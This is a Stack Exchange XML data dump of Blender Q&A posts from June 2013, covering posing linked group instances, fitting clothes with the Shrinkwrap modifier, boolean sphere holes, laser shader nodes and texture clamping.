  <row Id="1122" PostTypeId="2" ParentId="1074" CreationDate="2013-06-17T03:19:28.593" Score="4" Body="&lt;p&gt;While this isn't &lt;em&gt;impossible&lt;/em&gt; to do with blender at the moment, but its not something you can do easily, and doing this via a script would be very slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would involve 2x modifier stack calculations per frame change.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a frame-change-post handler.&lt;/li&gt;&#xA;&lt;li&gt;this handler must update the scene - &lt;code&gt;scene.update()&lt;/code&gt; so the data it deals with is valid before you start to operate on it.&lt;/li&gt;&#xA;&lt;li&gt;get the final calculated mesh and inspect its normals.&lt;/li&gt;&#xA;&lt;li&gt;modify the original meshes vertex groups how you like.&lt;/li&gt;&#xA;&lt;li&gt;throw away the copy of the mesh, only generated to inspect normals.&lt;/li&gt;&#xA;&lt;li&gt;tag the mesh to be updated &lt;code&gt;mesh.update_tag()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;and run &lt;code&gt;scene.update()&lt;/code&gt; again.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So officially this kind of thing isnt supported, and what I have suggested is very much a hack. Ideally modifier plugins would much more easily allow this functionality.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-17T03:19:28.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1123" PostTypeId="1" AcceptedAnswerId="1154" CreationDate="2013-06-17T06:19:05.840" Score="7" ViewCount="1502" Body="&lt;p&gt;I would like to add two instances of a model created by &lt;a href=&quot;http://www.makehuman.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;makehuman&lt;/a&gt; to a scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After linking one model (&lt;em&gt;File/Link&lt;/em&gt;) and adding a proxy &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt;. I used &lt;em&gt;Add / Group Instance&lt;/em&gt; to add another instance but after that both models change pose when I make changes in pose mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can both models be animated independent from each other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This a follow-up of an earlier question &lt;a href=&quot;https://blender.stackexchange.com/questions/201/how-can-a-rigged-model-be-used-multiple-times-in-a-scene&quot;&gt;how-can-a-rigged-model-be-used-multiple-times-in-a-scene&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="228" LastEditDate="2017-06-10T07:42:24.290" LastActivityDate="2017-06-10T07:42:24.290" Title="How can I independently pose Group Instances?" Tags="&lt;rigging&gt;&lt;workflow&gt;&lt;linked-data&gt;&lt;groups&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1124" PostTypeId="1" AcceptedAnswerId="1132" CreationDate="2013-06-17T06:34:47.643" Score="14" ViewCount="22928" Body="&lt;p&gt;Starting with a prefab model of t-shirt I tried to scale it to fit better but the result isn't satisfying. Some parts of the models mesh become visible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/32WSd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any option or modifier that could add some spacing between body and cloth,&#xA;or should I try to tweak loop-cuts manually?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-06-17T11:41:06.837" LastActivityDate="2017-02-11T16:24:21.970" Title="How should clothes be modified to fit a character model?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1125" PostTypeId="2" ParentId="801" CreationDate="2013-06-17T06:59:03.773" Score="0" Body="&lt;p&gt;you seem to be doing alright, but you might look at &lt;a href=&quot;https://www.google.com/search?client=opera&amp;amp;q=houdini+midi+control&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/search?client=opera&amp;amp;q=houdini+midi+control&lt;/a&gt;, Houdini I guess uses the old Chops prog. -or maybe it's just their nomenclature. &lt;a href=&quot;http://digitalcinemaarts.com/docs/houdini/Channels.fmk.pdf&quot; rel=&quot;nofollow&quot;&gt;http://digitalcinemaarts.com/docs/houdini/Channels.fmk.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="714" LastEditorUserId="714" LastEditDate="2013-06-17T08:01:49.343" LastActivityDate="2013-06-17T08:01:49.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1126" PostTypeId="1" CreationDate="2013-06-17T07:15:10.410" Score="13" ViewCount="3124" Body="&lt;p&gt;I don't know if the answer is in the modeling, texturing or even the compositing part but my aim is to be able to achieve a nice visual look between two meshes (like in the render shown below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The picture is a snowman scene and one of the worse parts of the render is the joint between the ground and the snowman.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When looking at it, it is pretty obvious that both snowman and ground are two separate objects and that is because when I tried modeling the ground as an extension of the snowman, the textures wouldn't apply properly and the overall look was even worse than the current result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only one example out of many other situations in witch I get this kind of issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in knowing what solutions could be found to that problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cgcookie.com/blender/images/yves_perera/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2kCP5.jpg&quot; alt=&quot;Snowman scene&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="715" LastEditorUserId="25" LastEditDate="2015-11-22T21:25:46.710" LastActivityDate="2020-12-23T08:15:43.487" Title="How to have a nice visual join between two colliding meshes?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1127" PostTypeId="2" ParentId="1123" CreationDate="2013-06-17T07:29:52.087" Score="2" Body="&lt;p&gt;Separate the same model into different blend files. Also give different group names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you have one character, let's say the name was &lt;code&gt;char.blend&lt;/code&gt;. Then save as the &lt;code&gt;char.blend&lt;/code&gt; into files with different names such as &lt;code&gt;char_a.blend&lt;/code&gt;, &lt;code&gt;char_b.blend&lt;/code&gt;. Make sure the group also has a different name. So now, you can link both files, and both will be independent. &lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="1977" LastEditDate="2013-12-27T20:18:16.530" LastActivityDate="2013-12-27T20:18:16.530" CommentCount="1" CommunityOwnedDate="2013-06-17T07:29:52.087" ContentLicense="CC BY-SA 3.0" />
  <row Id="1128" PostTypeId="2" ParentId="1124" CreationDate="2013-06-17T08:34:52.683" Score="5" Body="&lt;p&gt;ShrinkWrap modifier is an appropriate tool for this job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You add a shrinkwrap modifier on the model of the tshirt and add the body as target. There is also an option to specify auxiliary target: like some other object that is parented to the body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various options: one of it being &quot;offset&quot; that you asked in your question&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/manual/modifiers/deform/shrinkwrap.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/manual/modifiers/deform/shrinkwrap.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blenderdiplom.com/index.php/en/tutorials/item/91-ressource-blender-modifiers-explained&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderdiplom.com/index.php/en/tutorials/item/91-ressource-blender-modifiers-explained&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="228" LastEditorUserId="55" LastEditDate="2015-06-06T17:56:56.993" LastActivityDate="2015-06-06T17:56:56.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1129" PostTypeId="1" AcceptedAnswerId="1130" CreationDate="2013-06-17T09:30:25.467" Score="13" ViewCount="3929" Body="&lt;p&gt;Sorry for the confusing title, the best way to explain it is to look at my image (don't pay attention to the lines connecting the holes and sorry for the poor quality)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been thinking about this for a while and I can't think about a good way to do it. Booleans would result in a very glitchy topology and very bad results when subdivided, sculpting it wouldn't be precise enough (for me) and modeling it poly-by-poly would probably take forever, not to mention quite challenging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is surely a good and simple way to do it, but I just cannot think of one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/afkZqm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="716" LastEditorUserId="47" LastEditDate="2013-06-17T12:02:00.193" LastActivityDate="2014-03-10T09:52:42.383" Title="Best way to &quot;sculpt&quot; sphere-shaped holes on a sphere surface?" Tags="&lt;mesh&gt;&lt;sculpting&gt;&lt;modifiers&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1130" PostTypeId="2" ParentId="1129" CreationDate="2013-06-17T09:47:07.817" Score="15" Body="&lt;p&gt;If you use booleans and want smooth spheres as results, increase your original sphere segment counts, later on you can always retopologize if the resulting face count is too high. Starting from a highpoly mesh and working to a lower one can give acceptable results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The implementation of Blender Booleans is from the &lt;a href=&quot;http://carve-csg.com/about&quot; rel=&quot;nofollow noreferrer&quot;&gt;Carve Library&lt;/a&gt;, this is what the blender dev has to say about how to use booleans (in another very similar question) -- &lt;a href=&quot;https://blender.stackexchange.com/a/42/47&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iOLMH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The carve library has made it possible to do really nice booleans in blender, but you need sufficient geometry for the polygon based approach to retain smooth shapes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cleaner topology results come from being precise about matching up the level of sudivision where the objects interface each other. Taking a highly divided sphere like above and doing a difference with a scaled down sphere with identical vert count will produce more geometry than needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally you will have similar face sizes like here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ksLX6m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;EdgeSplit Modifier&lt;/code&gt;, on smooth shaded faces, in combination with matching face sizes it looks acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7HPfQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-06-17T11:34:45.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1131" PostTypeId="2" ParentId="1129" CreationDate="2013-06-17T09:59:00.350" Score="6" Body="&lt;p&gt;You could follow the workflow below&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a multi resolution modifier and subdivide 3-4 times&lt;/li&gt;&#xA;&lt;li&gt;Smooth shade the mesh&lt;/li&gt;&#xA;&lt;li&gt;Switch to Sculpting mode&lt;/li&gt;&#xA;&lt;li&gt;Choose Inflate/Deflate brush type and set its strength to 1 and enable 'Deflate' mode and check 'Accumulate'&lt;/li&gt;&#xA;&lt;li&gt;Under Stroke panel, choose stroke method to 'Airbrush' and Rate to 1&lt;/li&gt;&#xA;&lt;li&gt;Under the Curve panel, choose the Round falloff.&lt;/li&gt;&#xA;&lt;li&gt;Continue clicking on an area and watch the dents form.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: This method has its limitations. Its dependent on the view you choose before sculpting the holes and the depth of the hole is not visualized unless you change the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UYUlK.png&quot; alt=&quot;Sculpting Sphere Shapes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-17T10:18:44.667" LastActivityDate="2013-06-17T10:18:44.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1132" PostTypeId="2" ParentId="1124" CreationDate="2013-06-17T11:34:53.073" Score="10" Body="&lt;p&gt;As satishgoda says in his answer.. the &lt;em&gt;Shrinkwrap&lt;/em&gt; modifier is the way to go but it's best to &lt;strong&gt;not&lt;/strong&gt; use a prefab in most cases. These are usually badly shaped or just have a different flow from the rest of your model. They can also prove to be very difficult to try and manipulate to conform to your object..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to make clothing and fit it to your character is to select a part of the upper body in the shape of a shirt and duplicate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have the upper body of a base mesh..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mw4nQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I next &lt;kbd&gt;Tab&lt;/kbd&gt; into edit mode, select and duplicate the part of it that I would like his shirt to be and separate it from the body into its own piece with &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;Selection&lt;/em&gt;. After this, I just scale it outward the tiniest bit with &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; to distance it a bit from the body then add a &lt;em&gt;Shrinkwrap&lt;/em&gt; modifier to snap it back to the base mesh. This won't be perfect most times, &lt;em&gt;(especially if you have bad topology)&lt;/em&gt; so it might require some tweaking on your part to adjust this..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TnYuK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, it's up to you now, you can join the meshes back together if you want to animate etc or you can apply the modifier and shape it a bit.. add pockets etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IJEWN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-19T00:27:00.027" LastActivityDate="2013-06-19T00:27:00.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1133" PostTypeId="2" ParentId="1126" CreationDate="2013-06-17T12:32:24.093" Score="6" Body="&lt;p&gt;In 3D modeling this is often quite difficult.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You could make them the same mesh and join the geometry, then use a vertex-group or vertex-colours to blend between 2 materials (most obvious solution, check on tutorials for blending between materials).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You could cheat...&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add grass (particle systems), pebbles, rocks etc - this is what happens in real life isn't it? It will likely increase your render times but hide the join.&lt;/li&gt;&#xA;&lt;li&gt;you could apply alpha to the lower part of the mesh that meets the ground so you don't see a sharp change.&lt;/li&gt;&#xA;&lt;li&gt;You could add a strip of faces which sits just above the join and blends between the 2 surfaces (with alpha on both sides so you don't see any hard edges), I don't recommend this but it can be made to work, you just have to be careful that lighting is ok and its not casting shadows on the faces below it.&lt;/li&gt;&#xA;&lt;li&gt;You could render them on different layers and composite them, alpha blending parts of the lower mesh. &lt;em&gt;(I don't recommend this but adding for completeness)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="61453" LastEditDate="2020-12-23T08:15:43.487" LastActivityDate="2020-12-23T08:15:43.487" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="1135" PostTypeId="2" ParentId="1121" CreationDate="2013-06-17T13:16:37.170" Score="3" Body="&lt;p&gt;Blender has nothing out-of-the-box to support MIDI, however people have used many different input devices with blender including OSC &amp;amp; MIDI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested to use this you may be able to follow tutorials on using MIDI with Python, then just import the module from within Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, its not specifically supported but theres nothing stopping you from using external interfaces from Python.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-17T13:16:37.170" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1136" PostTypeId="1" AcceptedAnswerId="1152" CreationDate="2013-06-17T13:27:01.530" Score="7" ViewCount="2394" Body="&lt;p&gt;After starting with a stock armature with a run cycle I added a few of my own bones for various armor pieces on my model. As the stock model is too large for my game and the engine requires me to apply the correct scale before export I scaled the armature down (my mesh is a child of it). After applying the new scale and viewing my run cycle the bones from the stock armature I built on top of are fine, where my new bones explode out to new positions in all directions. It feels to me like the individual origins of my new bones are offset somehow, obviously I have missed a crucial step when adding them, what was this step, and how can this problem be fixed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cYpu8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After applying scale:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NhaPI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="719" LastEditorUserId="719" LastEditDate="2013-06-18T12:09:43.903" LastActivityDate="2013-06-18T12:09:43.903" Title="Why do some bones in an animation lose their position when applying scale to their armature?" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1137" PostTypeId="1" AcceptedAnswerId="1140" CreationDate="2013-06-17T13:34:50.977" Score="4" ViewCount="1503" Body="&lt;p&gt;I was wondering how to turn off image tiling for textures in the game engine. My UV map would make it tile right now (i.e. it's bigger than the map), but I can't figure out how to turn tiling off. I'm using the game engine with GLSL enabled.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-06-17T21:33:33.650" LastActivityDate="2013-06-18T19:55:29.090" Title="How to turn off image tiling in the game engine?" Tags="&lt;texturing&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1138" PostTypeId="2" ParentId="1098" CreationDate="2013-06-17T13:43:08.603" Score="4" Body="&lt;p&gt;Blender contains the tools to do what your asking, they're just not all in the same tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create more segments, you simply need to use the curve subdivide tool (&lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Subdivide&lt;/em&gt;). Blender will automatically scale the handles to keep the curve from before. You can also use &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Smooth&lt;/em&gt; to smooth the curve down (this won't add or remove handles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove unnecessary handles, use the &lt;em&gt;Simplify Curve&lt;/em&gt; addon. Enable the addon, then go to object mode, select your curve and search for the &lt;em&gt;Simplify Curve&lt;/em&gt; tool (in the search bar). There aren't too many settings, but they should be enough to do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there are any tools to remove handles evenly (other than doing it manually).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the surface of the ground, I would recommend converting your curve into a mesh (&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;). That way, you can model in faces with triangles (something you can't do with curves). If you wan't perfect quads afterwards, you could always use the &lt;em&gt;Remesh Modifier&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-17T13:43:08.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1139" PostTypeId="2" ParentId="1096" CreationDate="2013-06-17T13:46:18.123" Score="41" Body="&lt;h1&gt;First Solution:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I have a line-laser and a plane-laser node setup.  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;For the line-laser:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cuyU2.png&quot; alt=&quot;Laser Demo&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vYj2i.png&quot; alt=&quot;Laser Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;For the plane-laser:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rIU1v.png&quot; alt=&quot;Plane-Laser Demo&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nCh4x.png&quot; alt=&quot;Plane-Laser Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Second Solution:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now that you have asked and I tried to remember,&lt;br&gt;&#xA;I got a solution that is easier to understend.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the plane-laser when using&lt;br&gt;&#xA;dot-product instead cross-product.&lt;br&gt;&#xA;Then higher strength is required.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mvH0T.png&quot; alt=&quot;better line-laser&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rFB7X.png&quot; alt=&quot;better plane-laser&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wPqpG.png&quot; alt=&quot;better nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Important Edit&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Since I answered this, Blender was updated several times, and I had to update my solution also. An important note is that this solution only works with area lights, since the normal is only provided for those. Other light sources are not capable of providing their direction to the node system. I will contact the devs about this, since the normal has no meaning for other lights now, it could contain the direction of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some artifacts appear near the edge of the area light when using constant strength, therefor a slight adjusment is required. This can also be used with a point light, when the bottom most node is used instead of the geometry normal. For a point light you can actually skip the subtract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zdn2Q.png&quot; alt=&quot;updated nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://palaes.rudanium.org/Random/Laser.blend&quot; rel=&quot;noreferrer&quot;&gt;Here&lt;/a&gt; is everything nicely organized and nodes grouped:&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2016-08-01T11:39:33.533" LastActivityDate="2016-08-01T11:39:33.533" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1140" PostTypeId="2" ParentId="1137" CreationDate="2013-06-17T13:53:56.580" Score="3" Body="&lt;p&gt;In the UV Image Editor, bring up the properties toolshelf with &lt;kbd&gt;N&lt;/kbd&gt; and under &lt;em&gt;Game Properties&lt;/em&gt;, under the &lt;em&gt;Clamp&lt;/em&gt; group, tick &lt;em&gt;X&lt;/em&gt; and &lt;em&gt;Y&lt;/em&gt;, you can now scale your map larger than your image without tiling your texture.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5b5fe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-18T19:55:29.090" LastActivityDate="2013-06-18T19:55:29.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1141" PostTypeId="2" ParentId="1129" CreationDate="2013-06-17T14:30:36.770" Score="6" Body="&lt;h1&gt;Shrinkwrap&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Possibly not the best solution but you&lt;br&gt;&#xA;might use shrinkwrap. It is non-destructive.&lt;br&gt;&#xA;Topology is kept the same but edges are strange.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OYOTo.png&quot; alt=&quot;shrinkwrap solution&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-03-10T09:52:42.383" LastActivityDate="2014-03-10T09:52:42.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1142" PostTypeId="2" ParentId="1129" CreationDate="2013-06-17T15:25:33.833" Score="5" Body="&lt;p&gt;A few more solutions:&lt;/p&gt;&#xA;&lt;h3&gt;Displacement map&lt;/h3&gt;&#xA;&lt;p&gt;This removes the need to mess with geometry and can be a fine solution. If you all you need is the 'sense' that there is hollowing out on the surface&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xtZJm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;and the nodes (here collapsed to show only the used inputs, outputs and parameters)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oxLRB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;MetaBalls (positive and negative spheres)&lt;/h3&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A5RDy.png&quot; alt=&quot;metaballs in action&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Maybe you didn't realize this, but with metaballs if you go into edit mode you can set if the sphere will add or subtract from other spheres in this panel. This setting is adjustable for every metaball:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jngF9.png&quot; alt=&quot;metaballs can be negative too&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Stitching / Patching (classic Polygon modelling method)&lt;/h3&gt;&#xA;&lt;p&gt;Think of the mesh as a patchwork quilt, putting more effort into getting low poly meshes to follow a desired topology. This is a labour of love (or hate..depending on deadlines). Any geometry you want to mix with other geometry can be patched / stitched into place. To get good at this takes practice and patience, and demands that you master a whole bunch of tools (3D cursor, fill, snapping, transform orientations)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5lWct.png&quot; alt=&quot;stitching and patching partial geometry&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-19T14:06:46.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1144" PostTypeId="1" CreationDate="2013-06-17T16:42:47.510" Score="7" ViewCount="2571" Body="&lt;p&gt;There is an option in the properties panel, &lt;em&gt;Render &gt; Light Paths &gt; Shadows&lt;/em&gt; that toggles &quot;using transparency of surfaces for rendering shadows&quot; for the whole scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to render architectural stills or short films. When I uncheck this option the rendering speed greatly increases, but some parts such as fences and curtains don't work very well, although the quality of shadows of trees, grass and so on is sufficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it possible to change this option per-object?&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="599" LastEditDate="2014-06-12T07:33:58.323" LastActivityDate="2014-06-12T07:33:58.323" Title="Is it possible to limit the &quot;Cycles Shadow from Transparency&quot; per Object?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1145" PostTypeId="5" CreationDate="2013-06-17T19:23:30.487" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-17T19:23:30.487" LastActivityDate="2013-06-17T19:23:30.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1146" PostTypeId="4" CreationDate="2013-06-17T19:23:30.487" Score="0" Body="Motion blur is the apparent blurring if an image that appears when the light entering the lens changes during the exposure. Blender has the ability to simulate motion blur with both Cycles and Blender internal." OwnerUserId="238" LastEditorUserId="599" LastEditDate="2013-08-22T20:55:54.873" LastActivityDate="2013-08-22T20:55:54.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1147" PostTypeId="5" CreationDate="2013-06-17T19:24:59.917" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-17T19:24:59.917" LastActivityDate="2013-06-17T19:24:59.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1148" PostTypeId="4" CreationDate="2013-06-17T19:24:59.917" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-17T19:24:59.917" LastActivityDate="2013-06-17T19:24:59.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
